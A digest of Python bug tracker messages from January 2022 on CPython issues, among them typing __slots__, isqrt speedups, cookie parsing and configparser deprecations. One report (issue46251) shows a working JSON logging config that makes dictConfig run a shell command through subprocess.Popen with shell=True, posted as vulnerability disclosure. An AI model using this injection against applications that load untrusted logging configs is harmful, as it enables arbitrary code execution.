'3.10': bpo-33252: Document that ResourceWarning is ignored by default (GH-30358) (GH-30395) https://github.com/python/cpython/commit/01b12942d0ba2fd3c2efdfb796e8816efc607ee7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 07:04:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 04 Jan 2022 12:04:02 +0000 Subject: [issue33252] [doc] Clarify ResourceWarning documentation In-Reply-To: <1523312024.12.0.682650639539.issue33252@psf.upfronthosting.co.za> Message-ID: <1641297842.68.0.869323363077.issue33252@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 8f082e2bf43c1367e30d00874267dd25f7256cd0 by Miss Islington (bot) in branch '3.9': bpo-33252: Document that ResourceWarning is ignored by default (GH-30358) (GH-30396) https://github.com/python/cpython/commit/8f082e2bf43c1367e30d00874267dd25f7256cd0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 07:04:28 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 04 Jan 2022 12:04:28 +0000 Subject: [issue33252] [doc] Clarify ResourceWarning documentation In-Reply-To: <1523312024.12.0.682650639539.issue33252@psf.upfronthosting.co.za> Message-ID: <1641297868.07.0.542413594299.issue33252@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 07:11:56 2022 From: report at bugs.python.org (MarkBaggett) Date: Tue, 04 Jan 2022 12:11:56 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641298316.53.0.950478309288.issue46251@roundup.psfhosted.org> MarkBaggett added the comment: Let me also mention that the problem really includes anything that uses the resolve() functions. Here is a working example that puts an exploit in a HANDLER rather than a FORMATTER. $ ls /tmp/alsoworked ls: cannot access '/tmp/alsoworked': No such file or directory $ python calculator.py $ ls /tmp/alsoworked /tmp/alsoworked $ cat log.config { "version":1, "root":{ "handlers" : ["EXPLOIT"] }, "handlers":{ "EXPLOIT":{ "class": "subprocess.Popen", "args" : "touch /tmp/alsoworked", "shell" : "True" } } } Or if you prefer it in one file.. ----------------------------- import logging.config import json log_config_txt = '''{ "version":1, "root":{ "handlers" : ["EXPLOIT"] }, "handlers":{ "EXPLOIT":{ "class": "subprocess.Popen", "args" : "touch /tmp/alsoworks", "shell" : "True" } } } ''' log_config = json.loads(log_config_txt) logging.config.dictConfig(log_config) ------------------------ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 07:16:28 2022 From: report at bugs.python.org (Matthew Rahtz) Date: Tue, 04 Jan 2022 12:16:28 +0000 Subject: [issue43224] Add support for PEP 646 Message-ID: <1641298588.43.0.474253626626.issue43224@roundup.psfhosted.org> Change by Matthew Rahtz : ---------- pull_requests: +28607 pull_request: https://github.com/python/cpython/pull/30398 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 08:36:28 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 13:36:28 +0000 Subject: [issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures In-Reply-To: <1390491231.67.0.503348563079.issue20369@psf.upfronthosting.co.za> Message-ID: <1641303388.71.0.0162234497329.issue20369@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +28608 pull_request: https://github.com/python/cpython/pull/30400 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 08:36:45 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 13:36:45 +0000 Subject: [issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures In-Reply-To: <1390491231.67.0.503348563079.issue20369@psf.upfronthosting.co.za> Message-ID: <1641303405.99.0.865520389989.issue20369@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 7d7817cf0f826e566d8370a0e974bbfed6611d91 by Kumar Aditya in branch 'main': bpo-20369: concurrent.futures.wait() now deduplicates futures given a? (GH-30168) https://github.com/python/cpython/commit/7d7817cf0f826e566d8370a0e974bbfed6611d91 ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 08:36:33 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 13:36:33 +0000 Subject: [issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures In-Reply-To: <1390491231.67.0.503348563079.issue20369@psf.upfronthosting.co.za> Message-ID: <1641303393.06.0.281073949118.issue20369@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28609 pull_request: https://github.com/python/cpython/pull/30401 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 08:50:11 2022 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 04 Jan 2022 13:50:11 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1641304211.41.0.56737572323.issue43976@roundup.psfhosted.org> Miro Hron?ok added the comment: In Fedora 36+ / Python 3.10+ we now use an install_scheme that looks like this: 'purelib': '{base}/local/lib/python{py_version_short}/site-packages', 'platlib': '{platbase}/local/{platlibdir}/python{py_version_short}/site-packages', 'scripts': '{base}/local/bin', 'data': '{base}/local', ... We got a user report [1] saying that `pip install --root ... --prefix /usr` the prefix is not respected at all. That is, users expect that /usr/local is the prefix, and when they explicitly set it to /usr, the /local/ bit will not be there, while in reality, /local/ is not a part of the prefix, but it is a part of the installation scheme. I can somehow relate to that assumption. Now I wonder whether we should have adapted prefix instead of the installation scheme :/ Any ideas on how to approach this problem? I am quite clueless. [1] https://bugzilla.redhat.com/show_bug.cgi?id=2026979 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:01:45 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 Jan 2022 14:01:45 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641304905.17.0.394119900827.issue46244@roundup.psfhosted.org> Ken Jin added the comment: Good catch Arie. Would you like to submit a PR for this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:07:51 2022 From: report at bugs.python.org (Georg Brandl) Date: Tue, 04 Jan 2022 14:07:51 +0000 Subject: [issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.* In-Reply-To: <1450814221.93.0.811115775086.issue25927@psf.upfronthosting.co.za> Message-ID: <1641305271.06.0.775389927955.issue25927@roundup.psfhosted.org> Change by Georg Brandl : ---------- nosy: -georg.brandl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:08:58 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 Jan 2022 14:08:58 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641305338.61.0.0989825901782.issue45665@roundup.psfhosted.org> Ken Jin added the comment: > It does seem inconsistent that Any is not considered a type but list[int] is Yeah, almost none of the typing "types" are types ever since PEP 560. Issue45755 was a side effect too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:09:40 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Tue, 04 Jan 2022 14:09:40 +0000 Subject: [issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__ In-Reply-To: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org> Message-ID: <1641305380.22.0.0236192999315.issue46246@roundup.psfhosted.org> Jason R. Coombs added the comment: Today I learned something. Thanks Arie. Yes, I agree that's a mistake. Perhaps the test suite should also have a test to capture the missed expectation (that __dict__ should not be present or setting attributes on EntryPoints instances should fail). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:21:46 2022 From: report at bugs.python.org (Marko Tuononen) Date: Tue, 04 Jan 2022 14:21:46 +0000 Subject: [issue44899] tarfile: add support for creating an archive of potentially changing files In-Reply-To: <1628768592.88.0.0306570478346.issue44899@roundup.psfhosted.org> Message-ID: <1641306106.16.0.661658556358.issue44899@roundup.psfhosted.org> Change by Marko Tuononen : ---------- keywords: +patch pull_requests: +28610 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30402 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:27:41 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 14:27:41 +0000 Subject: [issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures In-Reply-To: <1390491231.67.0.503348563079.issue20369@psf.upfronthosting.co.za> Message-ID: <1641306460.94.0.11008121284.issue20369@roundup.psfhosted.org> miss-islington added the comment: New changeset 9a9061d1ca7e28dc2b7e326153e933872c7cd452 by Miss Islington (bot) in branch '3.9': bpo-20369: concurrent.futures.wait() now deduplicates futures given a? (GH-30168) https://github.com/python/cpython/commit/9a9061d1ca7e28dc2b7e326153e933872c7cd452 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:27:41 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 14:27:41 +0000 Subject: [issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures In-Reply-To: <1390491231.67.0.503348563079.issue20369@psf.upfronthosting.co.za> Message-ID: <1641306461.09.0.166241041235.issue20369@roundup.psfhosted.org> miss-islington added the comment: New changeset ba124672d7bf490bea2930a3e8371823db5d4cae by Miss Islington (bot) in branch '3.10': bpo-20369: concurrent.futures.wait() now deduplicates futures given a? (GH-30168) https://github.com/python/cpython/commit/ba124672d7bf490bea2930a3e8371823db5d4cae ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:27:40 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 04 Jan 2022 14:27:40 +0000 Subject: [issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures In-Reply-To: <1390491231.67.0.503348563079.issue20369@psf.upfronthosting.co.za> Message-ID: <1641306460.94.0.11008121284.issue20369@roundup.psfhosted.org> miss-islington added the comment: New changeset 9a9061d1ca7e28dc2b7e326153e933872c7cd452 by Miss Islington (bot) in branch '3.9': bpo-20369: concurrent.futures.wait() now deduplicates futures given a? (GH-30168) https://github.com/python/cpython/commit/9a9061d1ca7e28dc2b7e326153e933872c7cd452 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:30:05 2022 From: report at bugs.python.org (Ronald Oussoren) Date: Tue, 04 Jan 2022 14:30:05 +0000 Subject: [issue46248] Compilation errors on macOS In-Reply-To: <1641238565.78.0.970913311215.issue46248@roundup.psfhosted.org> Message-ID: <1641306605.67.0.948139900507.issue46248@roundup.psfhosted.org> Ronald Oussoren added the comment: Part of the problem here is that most keys in the result of sysconfig.get_config_vars() are copied as-is from the CPython Makefile and pyconfig.h header file. The keys copied from the Makefile are in a lot of cases not useful for users of python because they contain values that are only useful while building CPython itself. Without knowing your use case it is hard to point you to a better solution, but as Ned writes in general just follow the instructions from the extending and embedding documentation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:31:02 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 04 Jan 2022 14:31:02 +0000 Subject: [issue43224] Add support for PEP 646 Message-ID: <1641306662.51.0.123321702713.issue43224@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:35:22 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 04 Jan 2022 14:35:22 +0000 Subject: [issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures In-Reply-To: <1390491231.67.0.503348563079.issue20369@psf.upfronthosting.co.za> Message-ID: <1641306922.68.0.515629447208.issue20369@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:41:43 2022 From: report at bugs.python.org (Daniele Varrazzo) Date: Tue, 04 Jan 2022 14:41:43 +0000 Subject: [issue46256] Objects __del__ called after module have been removed Message-ID: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org> New submission from Daniele Varrazzo : The following bug has been reported to Psycopg: https://github.com/psycopg/psycopg/issues/198 At the end of the program, errors such as the following are dumped: Exception ignored in: Traceback (most recent call last): File "/opt/homebrew/lib/python3.10/site-packages/psycopg/pq/pq_ctypes.py", line 91, in __del__ TypeError: 'NoneType' object is not callable Where `None` is some module-level objects, such as `os.getpid`. Unfortunately I don't have a full repro. The error seems only happening in Python 3.10. ---------- components: Interpreter Core messages: 409684 nosy: piro priority: normal severity: normal status: open title: Objects __del__ called after module have been removed versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:59:55 2022 From: report at bugs.python.org (=?utf-8?q?C=C3=A9dric_Krier?=) Date: Tue, 04 Jan 2022 14:59:55 +0000 Subject: [issue26208] decimal C module's exceptions don't match the Python version In-Reply-To: <1453830419.58.0.782557332566.issue26208@psf.upfronthosting.co.za> Message-ID: <1641308395.2.0.484314515104.issue26208@roundup.psfhosted.org> Change by C?dric Krier : ---------- nosy: +ced _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 10:02:10 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Tue, 04 Jan 2022 15:02:10 +0000 Subject: [issue45173] Remove configparser deprecations In-Reply-To: <1631383839.78.0.984503527213.issue45173@roundup.psfhosted.org> Message-ID: <1641308530.49.0.60197227499.issue45173@roundup.psfhosted.org> Hugo van Kemenade added the comment: Searching 4,764 sdists from the top 5,000 PyPI packages, these 13 contain "LegacyInterpolation": configparser-5.1.0.tar.gz configparser2-4.0.0.tar.gz eth_abi-2.1.1.tar.gz eth-account-0.5.6.tar.gz eth-hash-0.3.2.tar.gz eth-utils-1.10.0.tar.gz hexbytes-0.2.2.tar.gz jedi-0.18.1.tar.gz magicinvoke-2.4.5.tar.gz mypy-0.910.tar.gz pytype-2021.11.12.tar.gz web.py-0.62.tar.gz webcolors-1.11.1.tar.gz The first two are stdlib backports: configparser is active and configparser2 was last updated in 2015: configparser-5.1.0/src/backports/configparser/__init__.py: "LegacyInterpolation", configparser-5.1.0/src/backports/configparser/__init__.py:class LegacyInterpolation(Interpolation): configparser-5.1.0/src/configparser.py: "LegacyInterpolation", configparser-5.1.0/src/configparser.py: LegacyInterpolation, configparser-5.1.0/src/test_configparser.py: elif isinstance(self.interpolation, configparser.LegacyInterpolation): configparser-5.1.0/src/test_configparser.py: elif isinstance(self.interpolation, configparser.LegacyInterpolation): configparser-5.1.0/src/test_configparser.py: elif isinstance(self.interpolation, configparser.LegacyInterpolation): configparser-5.1.0/src/test_configparser.py: interpolation = configparser.LegacyInterpolation() configparser-5.1.0/src/test_configparser.py:class ConfigParserTestCaseLegacyInterpolation(ConfigParserTestCase, unittest.TestCase): configparser2-4.0.0/src/backports/configparser2/__init__.py:class LegacyInterpolation(Interpolation): configparser2-4.0.0/src/configparser2.py: LegacyInterpolation, The others are all configparser.pyi typeshed stub files: eth_abi-2.1.1/venv/lib/python3.6/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth_abi-2.1.1/venv/lib64/python3.6/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-account-0.5.6/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-account-0.5.6/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-account-0.5.6/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-account-0.5.6/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-account-0.5.6/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-account-0.5.6/venv/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-account-0.5.6/venv/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-account-0.5.6/venv/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-hash-0.3.2/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-hash-0.3.2/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-hash-0.3.2/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-hash-0.3.2/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-hash-0.3.2/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-hash-0.3.2/venv/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-hash-0.3.2/venv/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-hash-0.3.2/venv/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-utils-1.10.0/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-utils-1.10.0/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-utils-1.10.0/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-utils-1.10.0/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-utils-1.10.0/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-utils-1.10.0/venv/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-utils-1.10.0/venv/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... eth-utils-1.10.0/venv/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... hexbytes-0.2.2/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... hexbytes-0.2.2/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... hexbytes-0.2.2/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... hexbytes-0.2.2/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... hexbytes-0.2.2/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... hexbytes-0.2.2/venv/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... hexbytes-0.2.2/venv/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... hexbytes-0.2.2/venv/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... jedi-0.18.1/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class LegacyInterpolation(Interpolation): ... mypy-0.910/mypy/typeshed/stdlib/configparser.pyi:class LegacyInterpolation(Interpolation): pytype-2021.11.12/pytype/typeshed/stdlib/configparser.pyi:class LegacyInterpolation(Interpolation): ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 10:02:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 04 Jan 2022 15:02:54 +0000 Subject: [issue46070] _PyImport_FixupExtensionObject() regression causing a crash in subintepreters In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641308574.39.0.575109250278.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: Fedora issue: https://bugzilla.redhat.com/show_bug.cgi?id=2034962 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 10:15:05 2022 From: report at bugs.python.org (Christopher Vickery) Date: Tue, 04 Jan 2022 15:15:05 +0000 Subject: [issue46256] Objects __del__ called after module have been removed In-Reply-To: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org> Message-ID: <1641309305.77.0.762425105597.issue46256@roundup.psfhosted.org> Christopher Vickery added the comment: If the attached module is run with no command line arguments, it will reproduce the problem without doing anything else. When run using Python 3.9 it does not cause the problem. (This module comes from https://github.com/cvickery/transfer-app, with an unnecessary import commented out.) ---------- nosy: +cvickery Added file: https://bugs.python.org/file50540/format_rules.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 11:01:46 2022 From: report at bugs.python.org (Jan Novak) Date: Tue, 04 Jan 2022 16:01:46 +0000 Subject: [issue41945] http.cookies.SimpleCookie.parse error after [keys] or some JSON data values In-Reply-To: <1601911186.95.0.178044136501.issue41945@roundup.psfhosted.org> Message-ID: <1641312106.24.0.095707364333.issue41945@roundup.psfhosted.org> Jan Novak added the comment: New examples with the structured data. Problems are with quotes and spaces inside { or [ cookie-script.com set those cookie data: CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"} Python loads only cookies before that JSON structure >>> from http.cookies import SimpleCookie >>> ck = SimpleCookie() >>> ck.load('id=12345; CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}; something="not loaded"') >>> print(ck) Set-Cookie: id=12345 This works: >>> ck.load('id=12345; complex_data={1:[1,2]}; something="loaded"') >>> print(ck) Set-Cookie: complex_data={1:[1,2]} Set-Cookie: id=12345 Set-Cookie: something="loaded" This not works: >>> ck.load('id=12345; complex_data={1:[1, 2]}; something="not loaded"') >>> print(ck) Set-Cookie: complex_data={1:[1, Set-Cookie: id=12345 Conclusion: Parsing JSON like cookie objects works, except quotes and without spaces. Exist some new RFC with JSON data support? How implementation/support/solution in diferent languages? Exist another Python library which support cookie with JSON data? ---------- title: http.cookies.SimpleCookie.parse error after [keys] -> http.cookies.SimpleCookie.parse error after [keys] or some JSON data values versions: +Python 3.10 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 11:13:55 2022 From: report at bugs.python.org (Tim Peters) Date: Tue, 04 Jan 2022 16:13:55 +0000 Subject: [issue46187] Optionally support rounding for math.isqrt() In-Reply-To: <1640633399.46.0.8152811809.issue46187@roundup.psfhosted.org> Message-ID: <1641312835.89.0.997536614285.issue46187@roundup.psfhosted.org> Tim Peters added the comment: > Is > > i, rem = isqrt_rem(n) > i + (rem != 0) > > better than > > (isqrt(n<<2) + 1) >> 1 > > or > > n and isqrt(n-1) + 1 > > ? Define "better"? The first way is by far the most obvious of the three, and the second way the least obvious. The first way also "wins" on being a variation of a uniform pattern that can deliver the floor, ceiling, or rounded result, depending on which simple comparison result is added. It's not "a trick" - it's the opposite of clever ;-) The first way is also unique in being the only one of the three that does _not_ do any Python-level arithmetic on integers as wide as `n`. `i` and `rem` are no more than about half the bit length of `n`. `n << 2` and `n - 1` in the others have to create new int objects at least as wide as `n`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 11:44:39 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Tue, 04 Jan 2022 16:44:39 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641314679.25.0.340938551977.issue46244@roundup.psfhosted.org> Arie Bovenberg added the comment: @kj I would very much like to! Seems like a good place to start contributing :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 12:01:24 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 04 Jan 2022 17:01:24 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641315684.33.0.396364201023.issue45665@roundup.psfhosted.org> Guido van Rossum added the comment: So is it too late to change this? This went out with 3.10, Serhiy has argued it's a bugfix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 12:04:05 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 Jan 2022 17:04:05 +0000 Subject: [issue46257] Convert statistics sum of squares to a single pass algorithm Message-ID: <1641315845.19.0.562428388394.issue46257@roundup.psfhosted.org> New submission from Raymond Hettinger : The existing code makes two passes, one to compute the mean and another to compute the sum of squared differences from the mean. A consequence of making two passes is that iterator inputs must be converted to a list before processing. This throws away the memory saving advantages of iterators. The ostensible reason for the two pass code is that the single pass variant is numerically unstable when implemented with floating point accumulators. However, this code uses fractions throughout, so the accumulation is exact. Changing to a single pass saves memory, doubles the speed, and simplifies the upstream code in variance(), pvariance(), stdev(), and pstdev(). ---------- components: Library (Lib) messages: 409692 nosy: rhettinger, steven.daprano priority: normal severity: normal status: open title: Convert statistics sum of squares to a single pass algorithm type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 12:06:26 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 Jan 2022 17:06:26 +0000 Subject: [issue46257] Convert statistics sum of squares to a single pass algorithm In-Reply-To: <1641315845.19.0.562428388394.issue46257@roundup.psfhosted.org> Message-ID: <1641315986.79.0.233762554929.issue46257@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- keywords: +patch pull_requests: +28611 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30403 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 12:30:08 2022 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 04 Jan 2022 17:30:08 +0000 Subject: [issue46258] Minor algorithmic improvements for math.isqrt Message-ID: <1641317408.82.0.590764539045.issue46258@roundup.psfhosted.org> New submission from Mark Dickinson : There are a couple of minor algorithmic improvements possible for the math.isqrt fast path (which is used for nonnegative integers smaller than 2**64). On my machine those improvements produce a little over a 10% speedup. The current algorithm for values under 2**64 involves exactly four division instructions, corresponding to four Newton steps. The proposal is to: - 1. Replace the first division with a table lookup. The necessary table is extremely small: 12 entries at one byte per entry. - 2. Arrange for the return type of the _approximate_sqrt helper function to be uint32_t rather than uint64_t. That means that the correction step only involves a 32-bit-by-32-bit multiplication, not a 64-bit-by-64-bit multiplication. The second part is a bit subtle: the input to _approximate_sqrt is a 64-bit integer `n` in the range [2**62, 2**64). Barring any overflow, the output `u` is guaranteed to satisfy `(u-1)**2 < n < (u+1)**2`. That implies that `(u-1)**2 < 2**64`, from which it follows that `u <= 2**32`. So the only possible case where `u` might overflow a `uint32_t` is when `u == 2**32`. But from the earlier inequality, that can only happen if `n > (2**32 - 1)**2`, and in that case the top 31 bits of `n` are completely determined and since the first steps of the algorithm only depend on the topmost bits of `n`, it's easy to follow through the algorithm and see that it's not possible for `u` to be `2**32` in that case. (We always get `u = 128` from the lookup, followed by `u = 255` after the first division, then `u = 65536` after the second.) ---------- components: Extension Modules messages: 409693 nosy: mark.dickinson priority: normal severity: normal stage: commit review status: open title: Minor algorithmic improvements for math.isqrt type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 12:30:23 2022 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 04 Jan 2022 17:30:23 +0000 Subject: [issue46258] Minor algorithmic improvements for math.isqrt In-Reply-To: <1641317408.82.0.590764539045.issue46258@roundup.psfhosted.org> Message-ID: <1641317423.51.0.176389266248.issue46258@roundup.psfhosted.org> Change by Mark Dickinson : ---------- keywords: +patch pull_requests: +28612 stage: commit review -> patch review pull_request: https://github.com/python/cpython/pull/30333 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 12:30:43 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 04 Jan 2022 17:30:43 +0000 Subject: [issue41011] [venv] record which executable and command were used to create a virtual environment In-Reply-To: <1592429138.01.0.105154043549.issue41011@roundup.psfhosted.org> Message-ID: <1641317443.27.0.597496704831.issue41011@roundup.psfhosted.org> Change by ?ric Araujo : ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 13:00:07 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 04 Jan 